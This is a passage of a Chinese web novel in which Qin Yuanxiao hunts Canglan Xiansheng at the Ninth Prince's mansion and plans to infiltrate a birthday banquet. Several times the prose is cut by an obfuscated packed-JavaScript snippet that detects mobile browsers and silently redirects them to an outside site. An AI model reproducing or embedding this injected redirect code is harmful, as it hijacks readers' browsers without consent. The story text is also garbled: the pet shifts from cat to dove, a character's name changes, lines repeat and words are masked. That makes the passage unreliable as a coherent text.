虽然宁芷薇觉得没这个必要,但想到自己现在的身子,也就默许了芳儿的照顾。毕竟,她不仅要照顾好自己,还要照顾好肚子里的小生命。 而此时的京城长宁巷,月色如水,街道上早已人影寥寥。 秦远霄将小白轻轻放在地上,目光中带着几分期待与试探。小白歪着脑袋看了看他,眼睛亮晶晶的,轻轻“喵”了一声,那模样倒像是在回应。 “小家伙,能否成功就看你的了。”秦远霄伸手轻轻抚摸着小白的脑袋,柔软的毛发从指缝间滑过。 五哥站在一旁,眉头微皱:“九弟,你当真觉得它能听懂你说话?这不过是一只普通的猫罢了。” “是啊,”六哥也忍不住开口,语气中带着几分担忧,“这小东西跟着沧澜先生那么久,若是见了故主,只怕立刻就会倒戈。到时候不但计划落空,反而会打草惊蛇。” 秦远霄没有立即回答两位兄长的质疑。他的目光落在远处的屋檐上,看着瓦片上积攒的薄霜,心中正在计算时间。从塞北到京城,他们已经赶了半个月的路程。那两个东陲人若是顺利找到小白,必然也会用最快的速度赶回来。 不过,事情不会这么简单。 秦远霄和两位兄长正站在一棵参天大树下,夜风吹动树叶,发出沙沙的响声。空气中飘着淡淡的芷兰香,这是京城特有的味道。 “小白,感觉到什么了吗?”秦远霄轻声问道,目光落在笼中的白鸽身上。 笼中的小白突然变得躁动不安,轻轻扑扇着翅膀,发出细微的咕咕声。它的反应让秦远霄眸光一凝,这是小白发现目标的信号。 之前他让小白记住了东陲人身上的气味,现在看来,这附近确实有相同的味道。这味道若有若无,普通人根本察觉不到,但经过特殊训练的小白却能准确捕捉。 他抬头望去,月光下,树梢处有一个不太显眼的鸟窝。如果不仔细观察,很容易将它当作普通的鸟巢。 “五哥,帮我拿着。”秦远霄将笼子交给五哥,身形轻盈地一跃而起。 他的动作干净利落,没有发出任何声响。片刻之间,已经稳稳地落在了离鸟窝最近的树枝上。树枝虽细,却纹丝不动,仿佛他轻若无物。 秦远霄从怀中掏出宁芷薇给他准备的小手电,柔和的黄光照亮了鸟窝内部。鸟窝的编织工艺极其精细,每一根草茎都恰到好处,一看就不是飞鸟自然筑成的。 他小心地探手进去,指尖很快触到一个薄薄的暗层。轻轻掀开,里面藏着一张字条。 “找到宠物,送去九王府。” 短短八个字,却透露出不寻常的信息。秦远霄眸光一冷,将字条放回原处,轻巧地落回地面。 “九弟,怎么样?”七哥急切地问道,眼中闪烁着期待的光芒。 “有意思,”秦远霄淡淡道,“看来这位沧澜先生,和九王爷有些不清不楚的关系。” 五哥和七哥对视一眼,都从对方眼中看到了震惊。这个发现太出乎意料了。 九王爷向来深居简出,不问世事,过着与世无争的生活。没想到,他竟然暗中和东陲人有所勾结。这背后,究竟隐藏着什么样的秘密? “九弟,要不要现在就去九王府?”五哥压低声音问道,手不自觉地按在了腰间的佩剑上。 秦远霄摇了摇头:“不急,九王府守卫森严,贸然行动只会打草惊蛇。” 他接过装着小白的笼子,轻轻掀开黑布。小白已经平静下来,正梳理着自己的羽毛。 “先找个地方住下来,好好谋划一番。”秦远霄的声音很轻,却带着不容置疑的坚定,“既然找到了线索,就不能让它断了。” “为何要等?”六哥性子急,语气中带着几分焦躁,“既然已经找到线索,不如直接去九王府。若是动作够快,说不定能打他们个措手不及。” “太过仓促反而会打草惊蛇。”秦远霄摇头,“九王府戒备森严,若是贸然行动,只怕会前功尽弃。” 五哥赞同地点头:“九弟说得对,这次一定要稳妥行事。沧澜先生不是普通人物,能让东睿都忌惮三分,我们更要小心谨慎。” 三人商议后决定,暂且躲进那对东陲人的小院。反正那两人已经**,这里最为安全。而且位置也适中,既能观察九王府的动静,又不会引人注意。 夜色渐深,寒意更甚。三人轻功过墙进了院子,落地时连脚步声都没有发出。院中有一口水井,两间正房,东西各一间厢房。院子虽小,但收拾得很干净,看得出主人是个爱整洁的人。 五哥和六哥分头查看了房间,确认安全后,五哥道:“九弟,独居一室,我和六弟住这里。”说着指了指西厢房。 秦远霄点头应了声,抱着小白走进东厢房。房间里有股淡淡的霉味,但好在床铺干净。他躺在床上,却没有立即入睡,而是盯着房梁发呆。 小白蜷缩在他怀里,发出细微的呼噜声。秦远霄轻轻抚摸着它的背脊,思绪却飘向了远方。 那两个东陲人从未见过沧澜先生,但沧澜先生必然知道他们的样子。如此一来,即便他们易容混进九王府,也很容易被识破。既然如此,不如干脆放手一搏。 倘若九王府遣人索要小白,他们就趁机潜入;若是沧澜先生亲自现身,那就直接动手抓人。当然,九王府的势力也不容小觑。九王爷能与沧澜先生勾结,背后定有隐情。也许,九王爷和东睿一样,是被沧澜先生拿住了什么把柄。 窗外传来一阵猫头鹰的叫声,打断了秦远霄的思绪。他翻了个身,强迫自己入睡。明天还有很多事要做,必须保持充沛的精力。 天还未亮,他就被轻微的脚步声惊醒。多年的习惯让他瞬间清醒,右手已经按在了枕下的**上。 “谁?”他猛地坐起。 “九弟,是我。”五哥的声音从门外传来。借着微弱的晨光,秦远霄看到五哥正提着水桶站在门口。 “五哥这么早?”秦远霄放松下来,揉了揉眼睛。 “睡不着,想着给你们做点早饭。”五哥放下水桶,“厨房储存有口粮,虽然不多,但够我们吃几天的。” 秦远霄跟着五哥进了灶房。寒气从破旧的门缝中钻进来,让人忍不住打了个寒战。 “九弟,你去休息吧,我来就行。”五哥习惯了照顾这个小弟,说着就要赶人。 秦远霄没有听劝,开始检查灶房里的食材。几棵大白菜已经烂掉,但房梁上还挂着咸肉干和一串干萝卜。他拿出宁芷薇给的验毒玉镜,仔细检查过每样食材,这才开始淘米煮饭。 五哥劈完柴进来时,看到秦远霄熟练的动作,惊讶得说不出话。记忆中那个连筷子都不会拿的小九,什么时候学会了做饭? “五哥,早饭我来做。”秦远霄一边生火一边说,“你去叫醒六哥吧。” 五哥暗暗做好了吃黑暗料理的准备。不管弟弟做出什么,他都得吃完才行。毕竟,这可是他疼爱的小九啊。 清晨的阳光透过窗棂洒进灶房,秦远霄正专注地忙碌着。灶台上的柴火噼啪作响,锅里的白粥咕嘟咕嘟冒着热气,萝卜酱菜和咸肉的香味在空气中弥漫。 他小心翼翼地调配着宁芷薇给他的调料,生怕用多了或少了。手中的勺子轻轻搅动,白粥逐渐变得浓稠。灶房里温暖而安静,只有火苗跳动的声音。 “这香味...”门口传来脚步声,五哥站在那里深深吸了一口气,“九弟,你什么时候学会做饭了?” 秦远霄嘴角微扬,手上动作不停:“还不是薇薇教的。”提起媳妇,他眼中不自觉流露出一丝温柔。想起那日她手把手教自己掌握火候的模样,心头一暖。 “真没想到啊。”五哥走近几步,饶有兴趣地打量着灶台,“我们的九弟也会下厨了。” 不多时,六哥也循着香味来到灶房。他站在门口愣了片刻,揉了揉眼睛:“我没看错吧?九弟在做饭?” “怎么,很意外?”秦远霄头也不抬,专注地往粥里加入最后一味调料。 六哥走进来,神情复杂:“当然意外。你从小娇生惯养,别说下厨,就连筷子都很少自己拿。现在...” “人总是会变的。”秦远霄轻声说,目光落在跳动的火苗上。确实,以前的他何曾想过要亲自下厨?可是现在,连最简单的一顿饭都让他感到珍贵。 “来,尝尝。”他将热气腾腾的白粥盛进碗里,又配上一碟酱菜,递给两位兄长。 五哥和六哥相视一眼,迫不及待地坐下。香气扑鼻的白粥入口绵软,配上开胃的酱菜,让人胃口大开。 “好吃!”六哥眼睛一亮,“九弟,你这手艺...” “确实不错。”五哥也连连点头,“比御膳房的还要香。” 秦远霄笑而不语,心中却暗暗感激宁芷薇的用心。若不是她准备的调料,自己哪能做出这样的味道。想起她临走前塞给自己的小包裹,叮嘱着每样调料的用量,他的心又揪了起来。 吃过早饭,三人开始商议接下来的计划。 “我去打探九王府的消息。”六哥主动请缨,“我在茶楼认识几个说书先生,他们最清楚各家的八卦。” 五哥点头:“也好,我去城南看看,那边是九王府的后门,说不定能发现什么线索。” “你们小心。”秦远霄叮嘱道,“若有异常立即回来通知。” 等两位兄长离开后,秦远霄开始仔细检查院子。这两个东陲人虽然**,但说不定留下了什么有用的线索。他翻遍了每个角落,最后在井边发现了一个暗格。 里面放着一封信,字迹潦草,像是匆忙写就: “主上,事情有变。九王爷似乎起了疑心,已经派人暗中跟踪我们。若有意外,还请主上以大局为重......” 信的内容到这里就断了,看来是写到一半就遇到了不测。秦远霄将信收好,心中的疑虑更深了。九王爷为何要对付自己人?难道其中另有隐情? 正思索间,小白突然竖起耳朵,警惕地看向院门。秦远霄立即屏住呼吸,躲到了墙角。果然,片刻后传来了脚步声,有人在院外徘徊。 “就是这里了。”一个陌生的声音说道。 “确定吗?”另一个声音问。 “千真万确,我亲眼看见他们进了这院子。” 秦远霄握紧了**,随时准备出手。然而那两人并没有进来,而是又说了几句什么,就离开了。 直到脚步声完全消失,秦远霄才松了口气。看来他们的行踪已经暴露,必须尽快转移。他正要去通知两位兄长,却听到一阵急促的脚步声。 秦远霄回房换了一身装扮。镜子里的人影渐渐模糊,他小心地贴上假胡子,将眉毛画粗。虽然比不上宁芷薇的易容术,但也足以乔装。 “我去集市买些食材。”秦远霄对两位兄长说道。五哥欲言又止,最终只是叮嘱他小心。 初春的街道上行人渐多,小贩的吆喝声此起彼伏。秦远霄走在熟悉的青石板路上,心却沉重起来。转过一个街角,曾经的镇国公府出现在眼前。 那里曾是他们家族的府邸,如今却已经换了新主人。“顾府”两个大字格外刺眼,仿佛在无声地诉说着什么。他站在街对面,看着那扇朱漆大门,回忆如潮水般涌来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759804|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 正当他驻足时,府门突然打开。顾星河一身华服走了出来,身后跟着几个侍卫和小厮。阳光下,他的衣着华贵,举止傲慢,与记忆中那个谦恭的下属判若两人。 “先生,崇王让您准备九王爷的寿礼,这...”一个小厮小心翼翼地开口。 秦远霄放慢脚步,竖起耳朵。他看到顾星河的脸色瞬间阴沉下来。 “闭嘴。”顾星河冷声打断,“这是王爷对我的信任,不需要你来提醒。” 小厮缩了缩脖子,不敢再说话。顾星河大步走向马车,衣袖无意间扫过门柱,激起一阵尘土。 秦远霄眼中闪过一丝冷意。东岚,这是在敲打顾星河啊。将镇国公府赐给顾星河,表面是恩宠,实则是警告。一个背叛旧主的人,又怎么值得信任? 秦远霄漫步在街道上,不紧不慢地跟着顾星河一行人。初春的风还带着些许寒意,街边的杨柳却已吐出嫩芽,在风中轻轻摇曳。 他的目光落在前方顾星河挺拔的背影上,思绪却飘到了刚才那番对话。东岚让顾星河亲自去准备礼物,这事透着几分蹊跷。街边小贩的吆喝声此起彼伏,却掩盖不住他内心的疑虑。 “东岚这些年倒是一点没变。”秦远霄轻轻摇头,眼底闪过一丝讥诮。 作为曾经的伴读,他太了解东岚的性子。那是个心胸狭窄的主,当年自己不得不处处放水,才能让他保持所谓的优越感。每每想起那段时光,秦远霄的嘴角便不自觉地泛起一丝苦涩。 路过一家茶楼,里面传来说书人抑扬顿挫的声音:“那南大人啊,最是记仇。当年有个小厮不小心打翻了他的茶盏,第二天就被发卖到了千里之外......” 秦远霄脚步微顿,眸中闪过一丝深思。如今顾星河这般出色的人物出现在东岚身边,怕是已经引起了他的忌惮。东岚向来善妒,这次让顾星河亲自准备礼物,恐怕另有所图。 街上行人渐多,熙熙攘攘的人群中不时传来讨价还价的声音。秦远霄正要加快脚步,忽听前方传来一阵急促的马蹄声,震得地面微微颤动。 “让开让开!” 只见一队人马从皇宫方向疾驰而来,马匹的嘶鸣声惊得路人纷纷避让。为首的太监高举着明黄色圣旨,脸上带着志得意满的笑容。 “听说是给珊郡主赐婚!”人群中有人小声议论。 “可不是嘛,这次可是宁大人家的大公子!”又有人补充道,语气中带着几分艳羡。 秦远霄站在茶摊前,手中的茶盏微微一颤,茶水溅出几滴。宁大人正是他的岳父,那位大公子便是他的大舅哥。 虽然妻子薇薇很少提及娘家事,但当初流放之时,岳父岳母冒险相送的一幕仍历历在目。那夜的风雪中,岳父递来的包袱里装着厚实的冬衣,岳母含泪塞给他们的银两,都让他心中涌起一阵暖意。 珊郡主的大名,在京城可谓是无人不知。茶摊老板见他神色恍惚,主动搭话道:“这位客官可是外地来的?不知道咱们京城的珊郡主?” 秦远霄微微摇头,示意他继续说下去。 “这珊郡主啊,”老板压低声音,“是九王爷的掌上明珠,从小娇生惯养,性子跋扈得很。除了皇子公主,旁人在她眼里都不值一提。” “前些日子还闹出一桩大事,”一旁的食客插嘴道,“听说是看上了户部侍郎家的公子,非要嫁过去。那公子已有婚约在身,珊郡主便让人半夜放火烧了人家的宅子......” “嘘!”茶摊老板连忙做了个噤声的手势,“这种话可不能乱说。每次闹出事端,九王爷都会亲自出面摆平。” 秦远霄眉头紧皱,放下茶盏,混入看热闹的人群中。他拉住一个面善的老者,低声问道:“老丈,可知这婚事是怎么说成的?” 那老者顿时来了精神:“宁家大公子中了探花,游街时被珊郡主看中了。你是不知道,珊郡主最爱美男子,赫公子生得俊朗,一眼就入了她的心。九王爷最是宠她,这不,圣旨就来了。” 说着,老者叹了口气,眼中流露出同情之色:“可怜赫公子这般才俊,怕是要受罪咯。珊郡主的性子,京城谁人不知?这婚事怕是......” 秦远霄心中一紧,手指不自觉地攥紧了衣袖。若是薇薇在京城,定不会坐视这桩婚事。大舅哥待她一向极好,小时候还经常偷偷给她带糖果。 虽然圣旨已下,但婚期尚未定,或许还有转圜余地。他快步赶到宁府门前,此时传旨太监正在宣读圣旨。府门前张灯结彩,红绸飘扬,却显得有几分刺眼。 “奉天承运皇帝,诏曰:珊郡主端庄贤淑,宁家长子品行端方,才学出众,堪为良配......”太监的声音透着几分做作的喜悦。 秦远霄站在人群中,看着大舅哥跪在地上接旨。阳光下,他的脸色苍白如纸,嘴唇紧抿,眼中闪过一丝绝望。 “臣下感激陛下洪恩。”大舅哥的声音沉闷,听不出半点喜色。 府门外的人群渐渐散去,秦远霄却站在原地没有动。他看着宁府高大的门楼,想起当年在这里度过的点点滴滴。那时的欢声笑语仿佛就在耳边,却又恍如隔世。 一阵春风拂过,卷起地上的落叶。秦远霄深吸一口气,眼中闪过一丝坚定。这桩婚事,他不能袖手旁观。为了大舅哥,为了当年的恩情,他必须想办法。 街角传来一阵喧闹,是顾星河一行人往这边来了。秦远霄转身隐入巷道,脑中已在盘算对策。东岚的算计,珊郡主的婚事,这些看似不相干的事,或许能找到突破口。 传旨官带着一行人离开后,宁府大门被两个小厮迅速关上。院内的气氛瞬间凝固,仿佛连空气都变得粘稠起来。 庭院里,宁夫人双手紧握,指节泛白,声音颤抖得几不可闻:“老爷,这下真是抓瞎了?” 秦远霄轻盈地落在宁府一侧的大树上,枝叶轻晃,却未发出半点声响。从这个角度,他能将院内的情形尽收眼底。树影婆娑间,宁府一家三口的身影显得格外萧索。 宁子澄站在父母身旁,面色惨白,双眼无神地望着地面。他的手指不自觉地揪着衣袖,指甲都快抠进掌心。这位年轻的举子此刻哪还有半分昔日的风采,活像一个等待行刑的囚徒。 “圣旨赐婚,我也是没辙了?”宁远志长叹一声,目光落在儿子身上。他的声音里既有无奈,又带着几分责备,“你妈张罗了一堆漂亮小姐姐,你偏不要。这下可好,被珊郡主看中,连累全家都要跟着受罪。” 宁夫人立刻红了眼眶,声音哽咽:“这怎么能怪子铭?要怪就怪你,非要让他去参加科举。若不是上街**,又怎会被珊郡主看到?”她一边说,一边用帕子擦拭着不断涌出的泪水。 “你......”宁远志气得胡子都翘起来了,面色涨红,“让他去科举是为他好,难道要让他的才华被埋没不成?再说了,谁能想到......” “父亲、母亲,别吵了。”宁子澄上前一步,勉强挤出一丝笑容,“既然是圣旨赐婚,我也认了。大不了我另开府邸,免得连累二老。” “胡说八道!”宁夫人一把抓住儿子的手,泪如雨下,“那珊郡主再跋扈,在我和你父亲面前也得守些规矩。你若是单过,还不知要受多少委屈。”她说着,又转向丈夫,“老爷,你快想想办法啊!” 宁远志踱步片刻,突然停下:“要不...我去求求九王爷?他与陛下关系不错,或许能说上话。” “九王爷?”宁夫人眼中闪过一丝希望,但很快又暗淡下来,“可是...我们与九王府素无往来,他凭什么帮我们?” 秦远霄在树上听得清楚,心中暗自叹息。他与宁子澄虽无交情,但也不忍见一个读书人被逼着娶那位蛮横的珊郡主。更何况,这其中必有蹊跷。 夜色渐深,秦远霄离开宁府,径直前往九王府。今日的九王府格外热闹,角门处人来人往,灯火通明,显然是刻意为之。 他绕到九王府后院,忽听一阵琴声传来。曲调怪异,音符零散,透着一股说不出的怨气。突然,琴弦断裂,琴声戛然而止,空气中似乎还回荡着那股不甘与愤怒。 秦远霄轻轻跃上围墙。借着月色,在树荫的掩护下,他看清了院内景象。杂草丛生的院落中,一个白发白衣的高大身影正坐在古琴前。那人虽然带着斗笠,但那标志性的白发已经暴露了他的身份——正是沧澜先生。 看到这个身影,秦远霄瞳孔微缩,指节发出轻微的咔咔声。多年前的血海深仇在这一刻又清晰地浮现在眼前。然而,他很快就平复了情绪。院落四周暗藏着数名黑衣护卫,此时贸然出手必定会打草惊蛇。 沧澜先生似乎没有察觉到暗处的窥视,他修长的手指轻抚断裂的琴弦,喃喃自语:“时机未到...还不是时候...” 第二百零三章 一阵夜风吹动窗棂,发出轻微的响动。窗外的树影婆娑,在月光下投射出斑驳的光影。 顾星河猛地睁开眼睛,警惕地望向窗户的方向。他的手不着痕迹地摸向枕下的**,虽然他并无武功在身,但常年养成的警觉性让他瞬间清醒。房间内昏暗的油灯摇曳着,在墙上投下摇晃的影子。 “谁?”他沉声问道,声音里带着一丝寒意。 窗外的人影一闪,轻巧地翻入房中。那人的动作干净利落,显然身手不凡。借着昏暗的油灯,顾星河看到来人身着一袭夜行衣,面上蒙着黑巾,腰间别着一柄长剑。 那人见他要开口,连忙摘下面巾,露出一张熟悉的面容。月光从窗外洒进来,映照在那张略显疲惫的脸上。 “九公子?”顾星河惊讶地看着眼前的秦远霄,手中的**悄然放下。他揉了揉眼睛,仍觉得不可思议。自从秦家出事后,秦远霄一直在塞北避祸,怎会突然出现在京城?而且还是以这种方式? “顾先生,抱歉深夜打扰。”秦远霄压低声音说道,眼中闪过一丝歉意。他的脸上带着风尘仆仆的疲惫,显然是连夜赶路而来。 顾星河起身,为他倒了杯茶:“无妨,只是不知九公子为何会来京城?这里并不安全。” 秦远霄接过茶杯,却没有喝,只是轻轻摩挲着杯沿:“说来话长。这些日子,我一直在追查当年的真相。” 顾星河眉头微皱,示意他继续说下去。 “我此来是想请费先生帮个忙。”秦远霄放下茶杯,眼中闪过一丝复杂的情绪。 “但说无妨。” “三日后是九王爷的寿辰,我需要混进王府。”秦远霄开门见山,语气中带着一丝急切。 顾星河站起身,在房间里来回踱步:“九王府戒备森严,公子此举恐怕凶险。若是被发现身份......” “我必须去。”秦远霄打断他的话,眼中闪过一丝决然,“沧澜先生就在九王府中。” “沧澜先生?”顾星河重复这个陌生的名字,眉头越皱越紧。 “正是此人害得我秦家满门遭难。”秦远霄握紧拳头,指节发白,“我在宁远抓到他的手下,经过严刑拷问,终于得知他藏身九王府。” 顾星河走到窗前,望着外面的夜色。近来九王府确实有些异常。先是一向深居简出的九王爷突然大办寿宴,又为珊郡主求得宁大人家的婚事。这一切都透着蹊跷。如今又冒出个沧澜先生...... “九公子可有详细计划?”顾星河转身问道。 “只需费先生带我混入王府便可,其余的事就不劳费先生操心了。”秦远霄的语气中带着一丝坚决。 顾星河看着他疲惫却坚定的眼神,沉吟片刻:“三日后我会随崇王赴宴,你可扮作我的侍卫同行。不过......” “多谢顾先生。”秦远霄抱拳道谢,打断了他后面的话。 房间陷入短暂的沉默。油灯的火苗轻轻跳动,在墙上投下摇曳的影子。 “你在塞北可还好?”顾星河忽然问道,语气中带着一丝关切。 提起塞北,秦远霄眼中闪过一丝暖意,嘴角不自觉地扬起:“托先生的福,蒋大人照拂有加,一切安好。” 顾星河心中一动。他原本派蒋承志去宁远另有目的,却不想反倒成全了一段姻缘。看着秦远霄真诚的目光,他心中涌起一丝愧意。 “对了,”秦远霄从怀中取出一封信,“这是蒋大人托我带给你的。” 顾星河接过信,却没有立即拆开。他看着秦远霄略显憔悴的面容,轻叹一声:“九公子,这些日子想必过得不易。” “比起家人,这些都不算什么。”秦远霄苦笑一声,“只是有时想起父亲临终前的眼神,我就寝食难安。” 顾星河默然。秦家的**,他也曾暗中调查,却始终找不到关键证据。如今秦远霄找到了线索,他既为之欣喜,又不免担忧。 “九公子,”顾星河斟酌着开口,“九王府内必有蹊跷。这三日,你且在我这里休息,我让人打探一下王府内的情况。” 秦远霄摇头:“多谢费先生好意,但我已在城外安排好了住处。况且......”他顿了顿,“来的人越少越好。” 顾星河知道他向来谨慎,也就不再坚持:“那你多加小心。这几日若有需要,随时可来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“铁羽隼认我为主,只有我能指挥它。”秦远霄解释道,“而且我跟着薇薇学过驭毒之法,身上还带着她给的解**丸。这些都是必需的。” 五哥六哥对视一眼,知道九弟说得有理。但担忧之色依旧挥之不去。 “那我们怎么配合你?”五哥沉声问道。 “明日我们一起去九王府周围查看地形。”秦远霄说,“到时候你们在外接应。一旦有变,立刻按计划行事。” 第二百零四章 第二天一早,三兄弟便乔装打扮后出了门。他们装作普通百姓,在九王府外围转了大半天。 秦远霄仔细记下了每一条小巷的走向,每一处可以藏身的角落。五哥六哥则负责观察守卫的换班时间和巡逻路线。 最终,他们确定了五哥六哥的埋伏位置。三个位置互为犄角,既能互相照应,又能保证视野的开阔。 回到住处后,三人又围坐在桌前,仔细推敲计划的每一个细节。从进入时机到撤退路线,从信号方式到应急预案,无一不详细讨论。 夜深人静时,秦远霄再次来到顾府书房。这一次,他带来了更多的消息。 雪白的铁羽隼静静地停在房顶,月光下的羽毛泛着银光。它警惕地环顾四周,随时等候主人的号令。 书房内,顾星河正在查看一份密信。看到秦远霄进来,他立刻将信件收起。 秦远霄站在顾府的书房里,窗外的月光透过纱窗洒落进来,在地上投下斑驳的光影。他看着眼前这个未来可能成为九五至尊的男人,内心泛起一丝难以言说的复杂。 顾星河正倚在书案旁,手指无意识地摩挲着桌面,目光若有所思。烛光在他脸上跳动,映出几分疲惫和沧桑。 “顾嬷嬷终究还是心软了。”顾星河轻叹一声,声音里带着几分苦涩,“血脉亲情,有时候比什么都重要。” 秦远霄微微蹙眉,指尖在衣袖下暗暗收紧。这些朝堂纷争本就错综复杂,他并不想过多涉及其中。可事已至此,似乎已经由不得他了。 “她来京城后,我去见过她。”顾星河的目光投向远处,仿佛在回忆什么,“我问她,是否愿意为我作证。” “她怎么说?”秦远霄忍不住问道,声音不自觉地放轻了几分。 顾星河苦笑着摇了摇头:“她犹豫了很久,最后问我会不会杀了东岚。”他的手指在桌面上停顿了一下,“这种事情,从来都不是我一个人能决定的。” 夜风从窗外吹进来,带着几分凉意,吹得烛火摇曳不定。秦远霄看着顾星河脸上明明灭灭的光影,一时不知该说什么。 “你有想过找钱贵妃吗?”沉默许久,秦远霄试探着问道。 顾星河的脸色瞬间阴沉下来,眼中闪过一丝冰冷的怒意:“找她?”他冷笑一声,“就是她把我和东岚调换的,这些年来,她可曾想过要找我?” 秦远霄默然,有些话说出来反而显得多余。他能理解顾星河的愤怒,但同时也明白,在这场权力的博弈中,每个人都身不由己。 “东岚最近有什么动静?”秦远霄开门见山地问道。 顾星河的眉头微皱:“他派人暗中接触了几位重臣,似乎在为什么做准备。” “所以更要抓紧时间了。”秦远霄沉声道。 顾星河点点头:“九王爷寿辰那天,府上会很热闹。趁着那个机会...” “我明白。”秦远霄打断他的话,“具体细节,还是少说为妙。” 顾星河露出一丝苦笑:“你说得对。这些日子,我总觉得身边多了些眼线。” 秦远霄正要说话,突然听到外面传来脚步声。两人迅速对视一眼,秦远霄立刻闪身躲到屏风后。 “世子爷。”一个下人的声音传来,“老夫人请您过去一趟。” “知道了。”顾星河应了一声,又补充道,“你先去回话,我随后就到。” 等脚步声远去,秦远霄才从屏风后走出来。 “时候不早了。”秦远霄看了看窗外渐深的夜色,“我该走了。” “从这里走。”顾星河指了指窗户,神色凝重,“外面有东岚的眼线,小心些。” “后日夜里,我会再来。”秦远霄点点头,身形一闪,消失在夜色中。 顾星河点点头:“小心些。” 秦远霄身影一闪,消失在夜色中。铁羽隼也无声无息地跟着离开了。 回到住处,五哥六哥还在等他。看到他平安回来,两人才松了口气。 “九弟,有什么新的消息吗?”五哥问道。 秦远霄将今晚得到的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“九公子,请闭上眼。”顾星河拿着调配好的药膏走来。 秦远霄顺从地闭上眼睛,感受着清凉的药膏在脸上涂抹。顾星河的动作很轻,却又十分精准。 不知过了多久,顾星河的声音传来:“好了。” 秦远霄睁开眼,走到铜镜前。镜中的人已经完全变了模样,活脱脱就是个普通侍卫的样子。 “顾先生好手艺。”他由衷赞叹。 顾星河却没有得意,而是神色凝重地说:“现在还有一件事要处理。” 秦远霄立即明白了他的意思:“真正的影子?” 顾星河点头:“他今晚会来找我汇报。” “需要我动手吗?”秦远霄问。 “不必。”顾星河摇头,“我来就好。你先躲在屏风后。” 秦远霄依言藏好,不多时就听到轻轻的脚步声。 “影子,进来。”顾星河的声音传来。 脚步声越来越近,突然一声闷响,接着是重物倒地的声音。 秦远霄从屏风后走出,看到地上躺着一个黑衣人,后颈处有一道青紫的痕迹。 顾星河手里拿着一根短棍,神色平静得有些可怕:“帮我把他抬到后院。” 两人合力将昏迷的影子搬到后院的一处偏僻角落。月光下,顾星河从袖中抽出一把**。 寒光一闪,鲜血喷涌。影子连声音都没发出就断了气。 “九公子,麻烦你处理一下尸体。”顾星河擦拭着**说道。 秦远霄点头,提起影子的尸体纵身一跃,消失在夜色中。 他轻车熟路地找到一处悬崖,将尸体丢了下去。湍急的山涧很快就会将一切痕迹抹去。 站在崖边,秦远霄望着漆黑的深渊,突然感到一阵疲惫。为了复仇,他已经走得太远,杀了太多人。 有时候他会想,自己是不是也变成了一个冷血的**? 但很快,他就甩开这些想法。现在不是犹豫的时候,复仇的道路上没有回头路。 回到顾府时,天边已泛起鱼肚白。晨曦微露,给整座城池镀上一层朦胧的金色。顾星河还坐在书房里,烛火摇曳,映照着他疲惫的面容。 “处理好了?”顾星河问。 “嗯,扔进山涧了。”秦远霄简短地回答。 “九公子。”顾星河抬头,眼中闪过一丝欣慰,“辛苦了。” 顾星河点点头:“那就好。明日一早,我们在城门口碰面。记住,无论发生什么,都不要说话。” “我明白。”秦远霄转身准备离开,却被顾星河叫住。 秦远霄微微颔首,注意到顾星河桌上的茶水早已凉透,显然是一夜未眠。书房里弥漫着淡淡的檀香,掩盖了血腥的气息。 “这是我随从的衣物。”顾星河递过一个包裹,声音里带着歉意,“还请委屈一下。” 接过包裹,秦远霄快速换上衣物。粗布衣裳虽然质地粗糙,但很合身。他活动了下手脚,确保不会影响行动。 “影子平日里都是低着头的,”顾星河站起身,踱步到窗前,“若东岚问起我的事,你只需摇头示意这几日无事发生即可。” 阳光透过窗棂洒进来,在地上投下斑驳的光影。顾星河的背影显得有些单薄,却又透着一股坚韧。 “明白。”秦远霄应道,心中却在盘算着接下来的计划。 “九公子。”顾星河欲言又止,最后只说了句,“小心。” 秦远霄回头看了他一眼,没有说话,身影很快消失在夜色中。 回到住处,秦远霄坐在床边,久久不能入眠。 明天就要进入九王府了。那个地方,埋藏着他最深的仇恨,也藏着最大的危机。 他摸了摸脸上的易容,这张陌生的脸让他感到一丝不适。但为了复仇,他早已习惯了伪装。 突然,窗外传来几声猫叫。 秦远霄立即警觉起来,这是他的暗线传来的信号。 他无声地打开窗户,一个黑影闪了进来。 “主子。”来人跪地行礼。 “说。”秦远霄简短地命令。 “九王府内部出现了异动。”黑影低声道,“九王最近很是烦躁,已经好几天没有露面了。” 秦远霄眼中闪过一丝精光:“可知道原因?” “属下打听到一些风声。”黑影犹豫了一下,“似乎是因为一件宝物。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769340|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “宝物?”秦远霄追问。 “具体是什么属下不知,但听说九王为此大发雷霆,还责罚了几个心腹。” 秦远霄陷入沉思。九王府突然出现的异常,会不会与他要找的东西有关? “继续盯着。”他挥手示意黑影退下。 房间重归寂静,秦远霄站在窗前,望着远处若隐若现的九王府。 多年的等待即将迎来转机,但同时也意味着更大的风险。 